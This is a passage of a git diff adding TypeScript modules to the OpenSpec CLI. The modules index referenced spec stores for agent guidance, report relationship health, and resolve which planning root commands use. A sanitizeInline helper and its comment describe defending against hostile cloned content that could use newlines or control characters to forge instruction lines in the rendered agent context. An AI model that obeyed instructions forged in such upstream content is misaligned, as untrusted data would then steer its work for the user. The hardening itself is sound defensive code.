WHITESPACE.test(title[end - 1])) { + end--; + } + + const hashEnd = end; + while (end > 0 && title[end - 1] === '#') { + end--; + } + + const noClosingRun = end === hashEnd; + const missingLeadingSpace = end === 0 || !WHITESPACE.test(title[end - 1]); + if (noClosingRun || missingLeadingSpace) { + return title.trim(); + } + + return title.slice(0, end).trim(); +} + +/** + * Heading title, or null when the line is not an ATX heading. Hand-rolled + * rather than a regex so a title padded with whitespace cannot backtrack. + */ +function parseHeadingTitle(line: string): string | null { + let level = 0; + while (level < 6 && level < line.length && line[level] === '#') { + level++; + } + if (level === 0 || level >= line.length || !WHITESPACE.test(line[level])) { + return null; + } + + let start = level; + while (start < line.length && WHITESPACE.test(line[start])) { + start++; + } + + return stripClosingSequence(line.slice(start)); +} + +/** + * Tolerant first-Purpose-line extraction. parseSpec() throws on specs + * without Purpose/Requirements sections; the index must never fail on an + * imperfect upstream spec, so this scans for the heading directly — + * fence-aware, so `## Purpose` inside a code block never matches, and + * tolerant of CommonMark closing hashes (`## Purpose ##`). + */ +export function extractFirstPurposeLine(markdown: string): string { + const lines = markdown.split(/\r?\n/); + let inPurpose = false; + let fenceMarker: string | null = null; + + for (const line of lines) { + // CommonMark: a fence closes only with its own marker kind. + const fence = line.match(/^\s*(```|~~~)/); + if (fence) { + if (fenceMarker === null) { + fenceMarker = fence[1]; + } else if (fence[1] === fenceMarker) { + fenceMarker = null; + } + continue; + } + if (fenceMarker !== null) { + continue; + } + + const title = parseHeadingTitle(line); + if (title !== null) { + if (inPurpose) { + return ''; + } + inPurpose = title.toLowerCase() === 'purpose'; + continue; + } + if (inPurpose && line.trim().length > 0) { + return line.trim(); + } + } + + return ''; +} + +async function collectSpecEntries(referencedRoot: string): Promise<ReferenceSpecEntry[]> { + const specIds = await getSpecIds(referencedRoot); + + return Promise.all( + specIds.map(async (specId) => { + let summary = ''; + try { + const content = await fs.readFile( + path.join(referencedRoot, 'openspec', 'specs', specId, 'spec.md'), + 'utf-8' + ); + summary = sanitizeInline(extractFirstPurposeLine(content)); + } catch { + // Unreadable spec file: index the id with an empty summary. + } + return { id: specId, summary }; + }) + ); +} + +export function fetchRecipe(storeId: string): string { + return `openspec show <spec-id> --type spec --store ${storeId}`; +} + +function specLine(spec: ReferenceSpecEntry): string { + // Ids are raw directory names from cloned content; summaries are + // sanitized at index time (collectSpecEntries). + const id = sanitizeInline(spec.id, 100); + return spec.summary ? ` - ${id}: ${spec.summary}` : ` - ${id}`; +} + +/** + * Pure renderer for the artifact-instructions XML block. Also the byte + * budget's measuring stick (it is the larger rendering). + */ +export function renderReferencedStoresBlock(entries: ReferenceIndexEntry[]): string { + const lines: string[] = [ + '<referenced_stores>', + '<!-- Read-only upstream context. Fetch what you need; cite what you use. -->', + ]; + + for (const entry of entries) { + lines.push(...renderEntryLines(entry)); + } + + lines.push('</referenced_stores>'); + return lines.join('\n'); +} + +/** Pure renderer for the apply-instructions markdown section. */ +export function renderReferencedStoresSection(entries: ReferenceIndexEntry[]): string { + const lines: string[] = [ + '### Referenced Stores', + '', + 'Read-only upstream context. Fetch what you need; cite what you use.', + '', + ]; + + for (const entry of entries) { + lines.push(...renderEntryLines(entry)); + } + + return lines.join('\n'); +} + +/** + * Strings rendered into agent guidance can come from cloned content + * (spec directory names, Purpose lines, config-declared remotes). One + * line in, one line out: control characters and newlines must never + * let hostile content forge instruction lines (slice 6.1 hardening). + */ +export function sanitizeInline(value: string, maxLength = 300): string { + const flattened = value.replace(/[\u0000-\u001f\u007f]+/g, ' ').trim(); + return flattened.length > maxLength ? `${flattened.slice(0, maxLength)}…` : flattened; +} + +function renderEntryLines(entry: ReferenceIndexEntry): string[] { + const lines: string[] = []; + + if (entry.root !== undefined) { + lines.push(`Store ${entry.store_id} (${entry.root}):`); + for (const spec of entry.specs ?? []) { + lines.push(specLine(spec)); + } + if (entry.fetch) { + lines.push(` Fetch: ${entry.fetch}`); + } + // Diagnostics on a resolved entry (e.g. truncation) render message + // AND fix — an orphan fix line would hide that the list is partial. + for (const diagnostic of entry.status) { + lines.push(` Note: ${diagnostic.message}`); + if (diagnostic.fix) { + lines.push(` Fix: ${diagnostic.fix}`); + } + } + } else { + for (const diagnostic of entry.status) { + lines.push(`Store ${entry.store_id}: ${diagnostic.message}`); + if (diagnostic.fix) { + lines.push(` Fix: ${diagnostic.fix}`); + } + } + } + + return lines; +} + +function renderedByteSize(entries: ReferenceIndexEntry[]): number { + return Buffer.byteLength(renderReferencedStoresBlock(entries), 'utf-8'); +} + +export interface AssembleReferenceIndexInput { + references: DeclarationEntry[]; + resolvedRoot: ResolvedOpenSpecRoot; + globalDataDir?: string; + /** + * Health mode (3.6): false skips the spec-file reads AND the byte + * budget — entries carry no `specs`/`fetch` keys at all, and the + * content-only truncation diagnostic can never appear. + */ + includeSpecs?: boolean; + /** + * Pre-read registry entries (3.6): `[]` = registry empty or absent, + * `null` = unreadable, undefined = read internally as before. + * (Mirrors the internal post-read variable — never inject a raw + * read result: a healthy-absent registry reads as null.) + */ + registryEntries?: ReturnType<typeof listStoreRegistryEntries> | null; +} + +/** + * Builds the referenced-store index. One registry read per call; one + * level deep (a referenced store's own references are never followed); + * self-references omitted; every failure degrades to a warning entry. + */ +export async function assembleReferenceIndex( + input: AssembleReferenceIndexInput +): Promise<ReferenceIndexEntry[]> { + const declarations = input.references; + if (declarations.length === 0) { + return []; + } + + // null means the registry itself was unreadable (corrupt file). + let registryEntries: ReturnType<typeof listStoreRegistryEntries> | null; + if (input.registryEntries !== undefined) { + registryEntries = input.registryEntries; + } else { + try { + const registry = await readStoreRegistryState( + input.globalDataDir ? { globalDataDir: input.globalDataDir } : {} + ); + registryEntries = registry ? listStoreRegistryEntries(registry) : []; + } catch { + registryEntries = null; + } + } + const includeSpecs = input.includeSpecs !== false; + + const resolvedRootPath = FileSystemUtils.canonicalizeExistingPath(input.resolvedRoot.path); + const entries: ReferenceIndexEntry[] = []; + + for (const { id, remote } of declarations) { + // Registry-independent checks come first: an invalid id is an + // invalid id (and a self-reference is omittable) even when the + // registry is corrupt. The declared remote is only consulted after + // the id passes grammar. + if (!isValidStoreId(id)) { + entries.push({ + store_id: id, + status: [ + warning( + 'reference_invalid_id', + `Reference '${id}' is not a valid store id.`, + 'Use kebab-case store ids in the references list.' + ), + ], + }); + continue; + } + + if (input.resolvedRoot.storeId === id) { + continue; // Self-reference: meaningless, silently omitted. + } + + if (registryEntries === null) { + entries.push({ + store_id: id, + status: [ + warning( + 'reference_registry_unreadable', + `Referenced store '${id}' cannot be checked: the store registry is unreadable.`, + 'Run: openspec store doctor' + ), + ], + }); + continue; + } + + const registryEntry = registryEntries.find((candidate) => candidate.id === id); + if (!registryEntry) { + entries.push({ + store_id: id, + status: [ + warning( + 'reference_unresolved', + `Referenced store '${id}' is not registered on this machine.`, + registerFix(id, remote) + ), + ], + }); + continue; + } + + let inspection; + try { + const storeRoot = getStoreRootForBackend(registryEntry.backend); + inspection = await inspectRegisteredStore(id, storeRoot); + } catch (error) { + inspection = { kind: 'inspection_error' as const, error }; + } + + if (inspection.kind !== 'ok') { + entries.push({ + store_id: id, + status: [ + warning( + 'reference_root_unhealthy', + `Referenced store '${id}' is registered but not usable (${inspection.kind.replace(/_/g, ' ')}).`, + `Run: openspec store doctor ${id}` + ), + ], + }); + continue; + } + + if (inspection.canonicalRoot === resolvedRootPath) { + continue; // Self-reference by path: silently omitted. + } + + if (!includeSpecs) { + // Health mode: resolution facts only — no content, no budget. + entries.push({ store_id: id, root: inspection.canonicalRoot, status: [] }); + continue; + } + + const specs = await collectSpecEntries(inspection.canonicalRoot); + const entry: ReferenceIndexEntry = { + store_id: id, + root: inspection.canonicalRoot, + specs, + fetch: fetchRecipe(id), + status: [], + }; + + // Budget the real rendering: keep the longest spec-list prefix whose + // full rendered index stays under the cap. The truncation warning + // itself is exempt (added after the size decision — no oscillation). + entries.push(entry); + if (renderedByteSize(entries) > MAX_RENDERED_INDEX_SIZE) { + let low = 0; + let high = specs.length; + while (low < high) { + const mid = Math.ceil((low + high) / 2); + entry.specs = specs.slice(0, mid); + if (renderedByteSize(entries) > MAX_RENDERED_INDEX_SIZE) { + high = mid - 1; + } else { + low = mid; + } + } + entry.specs = specs.slice(0, low); + entry.status.push( + warning( + 'reference_index_truncated', + `Referenced store '${id}' index truncated at the 50KB budget (${low} of ${specs.length} specs listed).`, + `List the rest directly: openspec list --specs --store ${id}` + ) + ); + } + } + + return entries; +} diff --git a/src/core/relationship-health.ts b/src/core/relationship-health.ts new file mode 100644 index 0000000000..8c7fd84163 --- /dev/null +++ b/src/core/relationship-health.ts @@ -0,0 +1,166 @@ +/** + * Relationship health composition (slice 3.6). + * + * One read-only answer to "are the roots this work relates to available + * on this machine?" — pure composition over inputs the doctor command + * gathers. The lock's four categories stay separated: root health, + * store metadata health, and reference health. Nothing here (or + * downstream) clones, syncs, or repairs. + */ +import { makeStoreDiagnostic, type StoreDiagnostic } from './store/errors.js'; +import { sanitizeInline, type ReferenceIndexEntry } from './references.js'; +import { storePointerProblem } from './project-config.js'; +import { toRootOutput, type ResolvedOpenSpecRoot } from './root-selection.js'; + +export interface RelationshipHealth { + root: { + path: string; + source: ResolvedOpenSpecRoot['source']; + store_id?: string; + healthy: boolean; + status: StoreDiagnostic[]; + }; + store: { + id: string; + metadata: { present: boolean; valid: boolean; remote?: string }; + origin_url?: string; + drift?: { ahead: number; behind: number }; + status: StoreDiagnostic[]; + } | null; + references: ReferenceIndexEntry[]; + status: StoreDiagnostic[]; +} + +export interface InspectRelationshipsInput { + root: ResolvedOpenSpecRoot; + rootHealthy: boolean; + rootStatus?: StoreDiagnostic[]; + /** Store facts for store-backed roots (explicit or declared). */ + storeFacts?: { + id: string; + metadataPresent: boolean; + metadataValid: boolean; + canonicalRemote?: string; + originUrl?: string; + drift?: { ahead: number; behind: number }; + }; + referenceEntries: ReferenceIndexEntry[]; + registryUnreadable: boolean; + /** A real root whose config also declares a store: pointer (3.2). */ + bothShapesPointer?: { value: string; filePath: string }; + /** A real root whose store: pointer value is malformed (3.2). */ + malformedPointer?: { filePath: string; reason: 'unparseable' | 'non_string' }; + /** Reference declarations in a pointer directory's own config are inert. */ + inertPointerDeclarations?: { filePath: string; fields: string[] }; +} + +function warning(code: string, message: string, fix: string): StoreDiagnostic { + return makeStoreDiagnostic('warning', code, message, { target: 'relationships', fix }); +} + +export function inspectRelationships(input: InspectRelationshipsInput): RelationshipHealth { + const status: StoreDiagnostic[] = []; + + if (input.registryUnreadable) { + status.push( + warning( + 'relationship_registry_unreadable', + 'The store registry is unreadable; reference health cannot be checked.', + 'Run: openspec store doctor' + ) + ); + } + + if (input.bothShapesPointer) { + status.push( + warning( + 'root_pointer_ignored', + `${input.bothShapesPointer.filePath} declares store '${input.bothShapesPointer.value}', but this directory is a real OpenSpec root; the declaration is ignored.`, + `Remove the store: line from ${input.bothShapesPointer.filePath}, or move the planning files into the store.` + ) + ); + } + + if (input.malformedPointer) { + status.push( + warning( + 'root_pointer_invalid', + `${input.malformedPointer.filePath} declares a store: pointer that cannot be used (${storePointerProblem(input.malformedPointer.reason)}).`, + `Fix or remove the store: line in ${input.malformedPointer.filePath}.` + ) + ); + } + + if (input.inertPointerDeclarations && input.inertPointerDeclarations.fields.length > 0) { + status.push( + warning( + 'pointer_declarations_inert', + `${input.inertPointerDeclarations.filePath} declares ${input.inertPointerDeclarations.fields.join(' and ')}, but commands read the resolved store's config — these declarations are inert.`, + `Move the ${input.inertPointerDeclarations.fields.join('/')} declarations into the store's openspec/config.yaml.` + ) + ); + } + + // Store section: metadata facts + the divergence info note. + let store: RelationshipHealth['store'] = null; + if (input.storeFacts) { + const storeStatus: StoreDiagnostic[] = []; + if ( + input.storeFacts.canonicalRemote && + input.storeFacts.originUrl && + input.storeFacts.canonicalRemote !== input.storeFacts.originUrl + ) { + storeStatus.push( + makeStoreDiagnostic( + 'info', + 'store_remote_divergence', + `The store.yaml remote (${sanitizeInline(input.storeFacts.canonicalRemote, 200)}) differs from the checkout's origin (${sanitizeInline(input.storeFacts.originUrl, 200)}).`, + { target: 'store.metadata' } + ) + ); + } + // Checkout behind its upstream tracking ref: a read-only staleness + // signal, not a version pin — OpenSpec never syncs stores, so this + // compares against the local upstream ref, not the live remote. + // Behind means teammates on newer commits may resolve different specs. + // Ahead-only is normal (OpenSpec never pushes stores), so it stays quiet. + const drift = input.storeFacts.drift; + if (drift && drift.behind > 0) { + const behindCommits = `${drift.behind} commit${drift.behind === 1 ? '' : 's'}`; + storeStatus.push( + makeStoreDiagnostic( + 'info', + 'store_checkout_drift', + drift.ahead > 0 + ? `This store checkout has diverged from its upstream tracking branch (${drift.behind} behind, ${drift.ahead} ahead); teammates on newer commits may resolve different specs.` + : `This store checkout is ${behindCommits} behind its upstream tracking branch; teammates on newer commits may resolve different specs.`, + { target: 'store.git' } + ) + ); + } + store = { + id: input.storeFacts.id, + metadata: { + present: input.storeFacts.metadataPresent, + valid: input.storeFacts.metadataValid, + ...(input.storeFacts.canonicalRemote + ? { remote: input.storeFacts.canonicalRemote } + : {}), + }, + ...(input.storeFacts.originUrl ? { origin_url: input.storeFacts.originUrl } : {}), + ...(drift ? { drift } : {}), + status: storeStatus, + }; + } + + return { + root: { + ...toRootOutput(input.root), + healthy: input.rootHealthy, + status: input.rootStatus ?? [], + }, + store, + references: input.referenceEntries, + status, + }; +} diff --git a/src/core/root-selection.ts b/src/core/root-selection.ts new file mode 100644 index 0000000000..21108f5967 --- /dev/null +++ b/src/core/root-selection.ts @@ -0,0 +1,567 @@ +/** + * Shared OpenSpec root resolution for normal commands. + * + * Normal commands (`new change`, `status`, `instructions`, `list`, `show`, + * `validate`, `archive`) resolve one OpenSpec root through this module: + * + * - `--store <id>` selects a registered store's root. + * - Without `--store`, the nearest ancestor containing `openspec/` wins. + * Leftover workspace view state is never considered a root here. + * - With no nearest root, a global `defaultStore` (if set) is the last + * machine-level fallback before the selection hint error. + * - With no nearest root and no default, registered stores produce a + * selection hint error; otherwise commands may treat the current + * directory as an implicit root. + * + * Diagnostic codes reuse the store taxonomy where an error passes + * through unchanged (`invalid_store_id`, metadata parse failures); + * resolver-specific failures use the normal-command codes below + * (`unknown_store`, `no_registered_stores`, `store_identity_mismatch`, + * `unhealthy_store_root`, `store_path_not_supported`, + * `invalid_store_pointer`, `no_root_with_registered_stores`, + * `no_openspec_root`). + */ + +import * as fs from 'node:fs'; +import * as path from 'node:path'; + +import { StoreError } from './store/errors.js'; +import { + getStoreMetadataPath, + listStoreRegistryEntries, + readStoreRegistryState, + readOptionalStoreMetadataState, + validateStoreId, +} from './store/foundation.js'; +import { getStoreRootForBackend } from './store/registry.js'; +import { inspectOpenSpecRoot } from './openspec-root.js'; +import { findRepoPlanningRootSync, type PlanningHome } from './planning-home.js'; +import { classifyOpenSpecDir, storePointerProblem } from './project-config.js'; +import { getGlobalConfig } from './global-config.js'; +import { FileSystemUtils } from '../utils/file-system.js'; + +export type OpenSpecRootSource = + | 'store' + | 'declared' + | 'global_default' + | 'nearest' + | 'implicit'; + +export interface StoreSelectorOptions { + store?: string; + storePath?: string; +} + +export interface ResolveOpenSpecRootOptions extends StoreSelectorOptions { + startPath?: string; + allowImplicitRoot?: boolean; + globalDataDir?: string; +} + +export interface ResolvedOpenSpecRoot { + path: string; + changesDir: string; + specsDir: string; + archiveDir: string; + defaultSchema: 'spec-driven'; + source: OpenSpecRootSource; + storeId?: string; +} + +export interface RootSelectionDiagnostic { + severity: 'error'; + code: string; + message: string; + target?: string; + fix?: string; +} + +export class RootSelectionError extends Error { + readonly diagnostic: RootSelectionDiagnostic; + + constructor( + message: string, + code: string, + options: { target?: string; fix?: string } = {} + ) { + super(message); + this.name = 'RootSelectionError'; + this.diagnostic = { + severity: 'error', + code, + message, + ...options, + }; + } +} + +export function isRootSelectionError(error: unknown): error is RootSelectionError { + return error instanceof RootSelectionError; +} + +function fromStoreError(error: unknown): never { + if (error instanceof StoreError) { + throw new RootSelectionError(error.message, error.diagnostic.code, { + ...(error.diagnostic.target ? { target: error.diagnostic.target } : {}), + ...(error.diagnostic.fix ? { fix: error.diagnostic.fix } : {}), + }); + } + + throw error; +} + +function doctorFix(id: string): string { + return `Run openspec store doctor ${id} to inspect it.`; +} + +function makeRoot( + rootPath: string, + source: OpenSpecRootSource, + storeId?: string +): ResolvedOpenSpecRoot { + return { + path: rootPath, + changesDir: path.join(rootPath, 'openspec', 'changes'), + specsDir: path.join(rootPath, 'openspec', 'specs'), + archiveDir: path.join(rootPath, 'openspec', 'changes', 'archive'), + defaultSchema: 'spec-driven', + source, + ...(storeId ? { storeId } : {}), + }; +} + +function canonicalDirectory(startPath: string): string { + const resolved = path.resolve(startPath); + + try { + const stats = fs.statSync(resolved); + const dir = stats.isDirectory() ? resolved : path.dirname(resolved); + return FileSystemUtils.canonicalizeExistingPath(dir); + } catch { + return resolved; + } +} + +async function resolveStoreRoot( + id: string, + globalDataDir?: string, + source: OpenSpecRootSource = 'store' +): Promise<ResolvedOpenSpecRoot> { + try { + validateStoreId(id); + } catch (error) { + fromStoreError(error); + } + + let registry; + try { + registry = await readStoreRegistryState(globalDataDir ? { globalDataDir } : {}); + } catch (error) { + fromStoreError(error); + } + const entries = registry ? listStoreRegistryEntries(registry) : []; + const entry = entries.find((candidate) => candidate.id === id); + + if (!entry) { + if (entries.length === 0) { + throw new RootSelectionError( + `Unknown store '${id}'. No stores are registered.`, + 'no_registered_stores', + { + target: 'store.id', + fix: `Run openspec store setup ${id} or openspec store register <path> first.`, + } + ); + } + + throw new RootSelectionError( + `Unknown store '${id}'. Registered stores: ${entries + .map((candidate) => candidate.id) + .join(', ')}.`, + 'unknown_store', + { + target: 'store.id', + fix: 'Pass a registered store id, or run openspec store list.', + } + ); + } + + const storeRoot = getStoreRootForBackend(entry.backend); + const inspection = await inspectRegisteredStore(id, storeRoot); + + switch (inspection.kind) { + case 'metadata_error': + return fromStoreError(inspection.error); + case 'metadata_missing': + // The doctor pointer lives in the message because human-mode command + // wrappers print only the message, not the fix field. + throw new RootSelectionError( + `Store '${id}' is missing identity metadata at ${inspection.metadataPath}. ${doctorFix(id)}`, + 'store_identity_mismatch', + { target: 'store.metadata', fix: doctorFix(id) } + ); + case 'metadata_id_mismatch': + throw new RootSelectionError( + `Store '${id}' metadata id '${inspection.actualId}' does not match its registered id. ${doctorFix(id)}`, + 'store_identity_mismatch', + { target: 'store.metadata', fix: doctorFix(id) } + ); + case 'unhealthy_root': + throw new RootSelectionError( + `Store '${id}' does not have a healthy OpenSpec root at ${storeRoot}: ${inspection.problems} ${doctorFix(id)}`, + 'unhealthy_store_root', + { target: 'openspec.root', fix: doctorFix(id) } + ); + case 'ok': + return makeRoot(inspection.canonicalRoot, source, id); + default: { + // Exhaustiveness guard: a new inspection kind must be handled + // here explicitly, not fall through to an undefined root. + const unhandled: never = inspection; + throw new Error(`Unhandled store inspection kind: ${JSON.stringify(unhandled)}`); + } + } +} + +/** + * The metadata-identity and root-health stages of registered-store + * resolution, as a non-throwing result. `resolveStoreRoot` maps each + * failure kind to its established error; the reference index assembler + * maps them to warnings. One shared inspection path — never fork it. + */ +export type RegisteredStoreInspection = + | { kind: 'ok'; canonicalRoot: string } + | { kind: 'metadata_error'; error: unknown } + | { kind: 'metadata_missing'; metadataPath: string } + | { kind: 'metadata_id_mismatch'; actualId: string } + | { kind: 'unhealthy_root'; problems: string }; + +export async function inspectRegisteredStore( + id: string, + storeRoot: string +): Promise<RegisteredStoreInspection> { + // Identity (metadata) failures win before root-health diagnostics. + let metadata; + try { + metadata = await readOptionalStoreMetadataState(storeRoot); + } catch (error) { + return { kind: 'metadata_error', error }; + } + + if (!metadata) { + return { kind: 'metadata_missing', metadataPath: getStoreMetadataPath(storeRoot) }; + } + + if (metadata.id !== id) { + return { kind: 'metadata_id_mismatch', actualId: metadata.id }; + } + + const inspection = await inspectOpenSpecRoot(storeRoot); + if (!inspection.healthy) { + const problems = + inspection.diagnostics.map((diagnostic) => diagnostic.message).join(' ') || + 'OpenSpec root is missing or incomplete.'; + return { kind: 'unhealthy_root', problems }; + } + + return { kind: 'ok', canonicalRoot: FileSystemUtils.canonicalizeExistingPath(storeRoot) }; +} + +/** + * Classifies the nearest `openspec/` directory (slice 3.2): a planning + * shape (specs/ or changes/ directories) is a real root and wins — + * fallback never override. A config-only directory with a `store:` + * pointer resolves the declared store; without one, it stays a root + * (today's behavior for freshly initialized minimal roots). + */ +/** + * The nearest-root walk, qualified: an `openspec/` DIRECTORY alone is + * not a root — it must carry a planning shape or a config file. + * Without this, the recommended `~/openspec/<id>` store layout would + * make $HOME a phantom root that captures every command under the + * home tree. + */ +function findQualifyingRootSync(startPath: string): string | null { + let candidate = findRepoPlanningRootSync(startPath); + while (candidate) { + const { hasPlanningShape, pointer } = classifyOpenSpecDir(candidate); + if (hasPlanningShape || pointer.filePath) { + return candidate; + } + const parent = path.dirname(candidate); + if (parent === candidate) { + return null; + } + candidate = findRepoPlanningRootSync(parent); + } + return null; +} + +async function resolveNearestOrDeclaredRoot( + nearestRoot: string, + globalDataDir?: string +): Promise<ResolvedOpenSpecRoot> { + const { hasPlanningShape, pointer } = classifyOpenSpecDir(nearestRoot); + + if (hasPlanningShape) { + if (pointer.value !== undefined) { + console.error( + `Warning: ${pointer.filePath} declares store '${pointer.value}', but this directory is a real OpenSpec root; the declaration is ignored.` + ); + } + return makeRoot(nearestRoot, 'nearest'); + } + + if (pointer.malformed) { + const problem = storePointerProblem(pointer.malformed); + throw new RootSelectionError( + `Invalid store declaration in ${pointer.filePath}: ${problem}.`, + 'invalid_store_pointer', + { + target: 'store.pointer', + fix: + pointer.malformed === 'unparseable' + ? `Fix the YAML syntax in ${pointer.filePath}.` + : `Edit ${pointer.filePath} so the store key is a registered store id, or remove it.`, + } + ); + } + + if (pointer.value === undefined) { + return makeRoot(nearestRoot, 'nearest'); + } + + try { + return await resolveStoreRoot(pointer.value, globalDataDir, 'declared'); + } catch (error) { + if (error instanceof RootSelectionError) { + // Rewrap with the declaration origin. The unknown-store fix is + // reshaped for the actual mistake: the user declared a pointer, + // they did not pass --store. + const declarationFix = + error.diagnostic.code === 'unknown_store' + ? `Register the store (openspec store register <path> --id ${pointer.value}) or edit ${pointer.filePath} to name a registered store.` + : error.diagnostic.fix; + throw new RootSelectionError( + `Declared in ${pointer.filePath}: ${error.message}`, + error.diagnostic.code, + { + ...(error.diagnostic.target ? { target: error.diagnostic.target } : {}), + ...(declarationFix ? { fix: declarationFix } : {}), + } + ); + } + throw error; + } +} + +/** + * The machine-level fallback: the global `defaultStore` resolved as a root, + * with its own provenance (`global_default`) so JSON surfaces can tell a + * machine-wide default from a repo's `store:` pointer. Mirrors the + * declared-pointer catch — a stale or unregistered id degrades to the + * underlying error, reshaped to point at clearing the global default + * rather than passing --store. + */ +async function resolveDefaultStoreRoot( + id: string, + globalDataDir?: string +): Promise<ResolvedOpenSpecRoot> { + try { + return await resolveStoreRoot(id, globalDataDir, 'global_default'); + } catch (error) { + if (error instanceof RootSelectionError) { + const staleFix = + error.diagnostic.code === 'unknown_store' || + error.diagnostic.code === 'no_registered_stores' + ? `Register the store (openspec store register <path> --id ${id}) or clear the stale global default (openspec config unset defaultStore).` + : error.diagnostic.fix; + throw new RootSelectionError( + `Global defaultStore '${id}': ${error.message}`, + error.diagnostic.code, + { + ...(error.diagnostic.target ? { target: error.diagnostic.target } : {}), + ...(staleFix ? { fix: staleFix } : {}), + } + ); + } + throw error; + } +} + +export async function resolveOpenSpecRoot( + options: ResolveOpenSpecRootOptions = {} +): Promise<ResolvedOpenSpecRoot> { + if (options.storePath !== undefined) { + throw new RootSelectionError( + '--store-path is not supported. Register the path with openspec store register <path>, then select it with --store <id>.', + 'store_path_not_supported', + { + target: 'store.id', + fix: 'openspec store register <path>, then rerun with --store <id>.', + } + ); + } + + if (options.store !== undefined) { + return resolveStoreRoot(options.store, options.globalDataDir); + } + + const startPath = options.startPath ?? process.cwd(); + const nearestRoot = findQualifyingRootSync(startPath); + if (nearestRoot) { + return resolveNearestOrDeclaredRoot(nearestRoot, options.globalDataDir); + } + + // Machine-level fallback: a global defaultStore is consulted only after + // --store, the nearest local root, and project-level pointers have all + // failed to resolve — it changes the failure path, never the precedence. + const defaultStore = getGlobalConfig().defaultStore; + if (defaultStore) { + return resolveDefaultStoreRoot(defaultStore, options.globalDataDir); + } + + let registry; + try { + registry = await readStoreRegistryState( + options.globalDataDir ? { globalDataDir: options.globalDataDir } : {} + ); + } catch (error) { + fromStoreError(error); + } + const registeredIds = registry + ? listStoreRegistryEntries(registry).map((entry) => entry.id) + : []; + + if (registeredIds.length > 0) { + throw new RootSelectionError( + `No OpenSpec root found in the current directory or its ancestors. Registered stores: ${registeredIds.join(', ')}. Pass --store <id> to use one, or run openspec init to create a local root.`, + 'no_root_with_registered_stores', + { + target: 'openspec.root', + fix: `Rerun with --store <id> (registered: ${registeredIds.join(', ')}) or run openspec init.`, + } + ); + } + + if (options.allowImplicitRoot === false) { + throw new RootSelectionError( + 'No OpenSpec root found from the current directory.', + 'no_openspec_root', + { target: 'openspec.root', fix: 'Run openspec init to create a root here.' } + ); + } + + return makeRoot(canonicalDirectory(startPath), 'implicit'); +} + +// ----------------------------------------------------------------------------- +// Output helpers +// ----------------------------------------------------------------------------- + +export interface RootOutput { + path: string; + source: OpenSpecRootSource; + store_id?: string; +} + +export function toRootOutput(root: ResolvedOpenSpecRoot): RootOutput { + return { + path: root.path, + source: root.source, + ...(root.storeId ? { store_id: root.storeId } : {}), + }; +} + +/** + * A store-selected root — explicit `--store`, a declared pointer, or the + * global default. Cross-root behavior (absolute paths, --store hints, + * suppressed noun-form suggestions) keys on this, never on `source` directly. + */ +export function isStoreSelectedRoot( + root: ResolvedOpenSpecRoot +): root is ResolvedOpenSpecRoot & { storeId: string } { + return root.storeId !== undefined; +} + +/** + * Human-mode verification signal for a selected store. Written to stderr so + * raw-Markdown and agent-consumed stdout payloads stay clean. + */ +export function emitStoreRootBanner(root: ResolvedOpenSpecRoot): void { + if (isStoreSelectedRoot(root)) { + console.error(`Using OpenSpec root: ${root.storeId} (${root.path})`); + } +} + +/** + * Keeps follow-up command hints inside the selected store: a hint a user can + * paste verbatim must carry `--store <id>` when a store was selected. + */ +export function withStoreFlag(root: ResolvedOpenSpecRoot, command: string): string { + return isStoreSelectedRoot(root) + ? `${command} --store ${root.storeId}` + : command; +} + +/** + * Compatibility bridge for workflow code that still expects a PlanningHome. + * The planning home is always repo-shaped. + */ +export function toPlanningHome(root: ResolvedOpenSpecRoot): PlanningHome { + return { + kind: 'repo', + root: root.path, + changesDir: root.changesDir, + defaultSchema: root.defaultSchema, + }; +} + +/** + * CLI adapter shared by the supported commands. In JSON mode a resolution + * failure is reported as a machine-readable payload on stdout (no human prose + * or blank lines) with a non-zero exit code; the caller must return when this + * resolves to null. In human mode the error propagates to the command's + * standard error handling so message text and exit behavior stay consistent. + */ +export async function resolveRootForCommand( + selector: StoreSelectorOptions, + output: { + json?: boolean; + failurePayload?: Record<string, unknown>; + /** Diagnostic commands inspect what exists; they never scaffold. */ + allowImplicitRoot?: boolean; + } = {} +): Promise<ResolvedOpenSpecRoot | null> { + try { + const root = await resolveOpenSpecRoot({ + ...(selector.store !== undefined ? { store: selector.store } : {}), + ...(selector.storePath !== undefined ? { storePath: selector.storePath } : {}), + ...(output.allowImplicitRoot !== undefined + ? { allowImplicitRoot: output.allowImplicitRoot } + : {}), + }); + + // Emitted at resolution time so the banner survives command failures + // that happen after the root was successfully selected. + if (!output.json) { + emitStoreRootBanner(root); + } + + return root; + } catch (error) { + if (output.json && isRootSelectionError(error)) { + console.log( + JSON.stringify( + { ...(output.failurePayload ?? {}), status: [error.diagnostic] }, + null, + 2 + ) + ); + process.exitCode = 1; + return null; + } + + throw error; + } +} diff --git a/src/core/schemas/base.schema.ts b/src/core/schemas/base.schema.ts index 548ef35e56..a6472ddb0a 100644 --- a/src/core/schemas/base.schema.ts +++ b/src/core/schemas/base.schema.ts @@ -6,15 +6,17 @@ export const ScenarioSchema = z.object({ }); export const RequirementSchema = z.object({ + // SHALL/MUST body-keyword enforcement lives in the imperative validator + // (Validator.applySpecRules), not here: the parser collapses the requirement + // header into `text`, so a Zod refine on `text` cannot tell "keyword in header + // only" from "keyword in body" and emits a misleading generic error. The + // validator recovers the header and emits the targeted hint for both the + // main-spec and change-delta paths (#1156). text: z.string() - .min(1, VALIDATION_MESSAGES.REQUIREMENT_EMPTY) - .refine( - (text) => text.includes('SHALL') || text.includes('MUST'), - VALIDATION_MESSAGES.REQUIREMENT_NO_SHALL - ), + .min(1, VALIDATION_MESSAGES.REQUIREMENT_EMPTY), scenarios: z.array(ScenarioSchema) .min(1, VALIDATION_MESSAGES.REQUIREMENT_NO_SCENARIOS), }); export type Scenario = z.infer<typeof ScenarioSchema>; -export type Requirement = z.infer<typeof RequirementSchema>; \ No newline at end of file +export type Requirement = z.infer<typeof RequirementSchema>; diff --git a/src/core/shared-skill-target.ts b/src/core/shared-skill-target.ts new file mode 100644 index 0000000000..e3f214442e --- /dev/null +++ b/src/core/shared-skill-target.ts @@ -0,0 +1,171 @@ +import path from 'path'; +import * as fs from 'fs'; +import { AI_TOOLS, OPENSPEC_SKILL_NAMES, type AIToolOption } from './config.js'; +import { FileSystemUtils } from '../utils/file-system.js'; + +const TARGET_MARKER = '.openspec-target'; + +/** Returns the ownership-marker path for one shared skills root. */ +function markerPath(projectPath: string, skillsDir: string): string { + return path.join(projectPath, skillsDir, 'skills', TARGET_MARKER); +} + +/** Reads a valid-looking marker value without letting linked roots escape. */ +export function readSharedSkillTarget( + projectPath: string, + skillsDir: string +): string | undefined { 